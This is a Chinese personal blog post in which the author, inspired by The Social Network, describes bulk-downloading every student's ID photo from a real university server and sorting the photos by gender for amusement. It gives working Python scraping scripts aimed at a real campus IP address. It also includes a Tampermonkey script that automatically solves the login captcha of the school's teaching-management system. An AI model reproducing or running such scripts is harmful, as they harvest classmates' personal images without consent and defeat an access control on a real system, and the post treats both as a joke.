The Social Network 社交网络
这部电影从我看第一遍起就狂热的喜欢。
大卫芬奇真的拍的非常好。
我这个人呢,总有个习惯。
当一个东西电影电视动漫什么最火的时候,总是不看。
等到过去了,偶然的时候,翻出来看看,哎,还真是不错。
社交网络也是有如此。
看了真是非常非常多遍,推荐到团队,也成了很长期的梗(最经典莫过于,0.03%的股份……)
电影中,节奏感最强的一段,就是Mark在分手夜,微醺的时候,一边写博客,一边侵入学生公寓服务器,下载了全部学生的照片,做出了Facemesh成功的挂掉了Harvard的网络。
我呢,酒倒是有,只是分手之夜也没这机会了,再说有Mark的前车之鉴,我也不敢真做这么个网站把自己搞出个处分来。
上次看教学管理系统的时候,玩到后来没意思了,也在考虑下载全部照片看看,但是呢,毕竟人家是教学管理系统嘛,还真是挺周全的。查询条件不仅有学号,还有一个PID,随机字符。
这个可就没辙了,研究了很久还是放弃了。
昨晚,机缘巧合在另一个地方发现了能拿到全部的数据,比我想要的更多……
(……我还是觉得我这个时候写博客完全是在作死,no zuo no die……)
后面的就简单了。
拉到的是一个xml,包含全部信息,这种时候当然是Python上了,最方便。
# -*- coding: utf-8 -*- import xlrd resultFile = open("./info.txt", "w") fname = "./info.save.xls" data = xlrd.open_workbook(fname) table = data.sheets()[0] nrows = table.nrows ncols = table.ncols for i in range(nrows): if i==0: continue sno = table.cell(i, 0).value if(len(sno)==8): resultFile.write(sno+'n') resultFile.close() print "All Done"
脚本简单的从xml中拉出了所有学号,省得遍历。
下面是实际下载用的脚本了,其实更短。
(具体地址隐去)
# -*- coding: utf-8 -*- import urllib infoFile = open("./info.txt", "r") for sno in infoFile.readlines(): sno=sno[0:-1] print sno urllib.urlretrieve("http://210.35.95.97/dlyq/StudentPhotos/"+sno+".jpg", "./photo/"+sno+".jpg")
搞定。
下一步可以再按照男女分类啊,什么的……
Facemesh看来是一个还挺麻烦的事情,现在还真没这闲工夫,而且……确实是对同学不太尊重(T T)因为我真的很想把我一卡通的证件照换一张啊!!!
很简单就搞定了男女分类嘛,Python果然好用~
# -*- coding: utf-8 -*- import xlrd import os import os.path import shutil fname = "./info.save.xls" dic=dict(); data = xlrd.open_workbook(fname) table = data.sheets()[0] nrows = table.nrows ncols = table.ncols for i in range(nrows): if i==0: continue sno = table.cell(i, 0).value gender = table.cell(i,2).value # print sno+' '+gender dic[sno]=gender list_dirs = os.walk('./photo/') for root, dirs, files in list_dirs: for f in files: # print os.path.join(root, f) if dic[f[:-4]].encode('utf-8')=='男': print f[:-4]+' '+dic[f[:-4]] shutil.copy('./photo/'+f, './photo/male/'+f) elif dic[f[:-4]].encode('utf-8')=='女': print f[:-4]+' '+dic[f[:-4]] shutil.copy('./photo/'+f, './photo/female/'+f) print "All Done"
好吧,可以说结果了……
结果就是
我们一整层楼的人像蛇精病一样笑了一个晚上直到1点钟啊!!!!!!!!!!!!!!!!!!!
真的是证件照毁三观啊!!!!!!!!!!!!!!!!!!!!
所有美女全部现原形啊啊啊啊!!!!!!!!!!!!!!!!!
很熟的同学愣是看了十几次都没认出来啊!!!!!!!!!!!!
太恐怖了啊!!!!!!!!!!!!!!!!!!!!!!!!!
我觉得如果真的写了个Facemesh发到网上去,肯定会被全体女生集体围攻致死……切成一条一条的……
算了吧还是小命要紧,只是,再也无法直视同学们了T T
最后再免费附赠我用来识别教学管理系统验证码的Tampermonkey脚本吧……
// ==UserScript== // @name SHIEP教学管理系统登录验证码识别 // @namespace com.find1x.js.shiepTeachingManagement // @version 0.1 // @description 自动填写教学管理系统验证码 // @match http://210.35.95.65:7777/schoolmanager/* // @match http://210.35.95.65:7777/schoolmanager/ // @copyright 2014+, FindiX Studio // ==/UserScript== window.onload = function() { var image = document.getElementsByTagName('img')[8]; //如果要用在greasemonkey脚本里,可以把下面的代码放在image的onload事件里 var canvas = document.createElement('canvas'); var ctx = canvas.getContext("2d"); var numbers = [ //模板,依次是0-9十个数字对应的明暗值字符串 "1100011100100100111000011100001110000111000011100001110010010011100011111111111111110000000", "1110011100001111100111110011111001111100111110011111001111100111000000111111111111110000000", "1000011011100111110011111001111100111100111100111100111100111110000001111111111111110000000", "1000001011110011111001111001100001111110011111100111110001110011000011111111111111110000000", "1111001111000111100011101001101100101110010000000111100111110011111001111111111111110000000", "0000000011111101111110000011111100111111001111100111110001110011000011111111111111110000000", "1100001100111010111110011111001000100011000011100001110010011001100001111111111111110000000", "0000000111110011110011111001111001111100111100111110011110011111001111111111111111110000000", "1000001001110000111000001001100001110000010011000001110000111001000001111111111111110000000", "1000011001100100111000011100001100010001001111100111110001110011000011111111111111110000000" ]; var captcha = ""; //存放识别后的验证码 canvas.width = image.width; canvas.height = image.height; document.body.appendChild(canvas); ctx.drawImage(image, 0, 0); for (var i = 0; i < 4; i++) { var pixels = ctx.getImageData(9 * i + 3, 3, 7, 13).data; var ldString = ""; for (var j = 0, length = pixels.length; j < length; j += 4) { ldString = ldString + (+(pixels[j] * 0.3 + pixels[j + 1] * 0.59 + pixels[j + 2] * 0.11 >= 140)); } var comms = numbers.map(function(value) { //为了100%识别率,这里不能直接判断是否和模板字符串相等,因为可能有个别0被计算成1,或者相反 return ldString.split("").filter(function(v, index) { return value[index] === v; }).length; }); captcha += comms.indexOf(Math.max.apply(null, comms)); //添加到识别好的验证码中 } document.querySelector("input[name=validateCode]").value = captcha; //写入目标文本框 };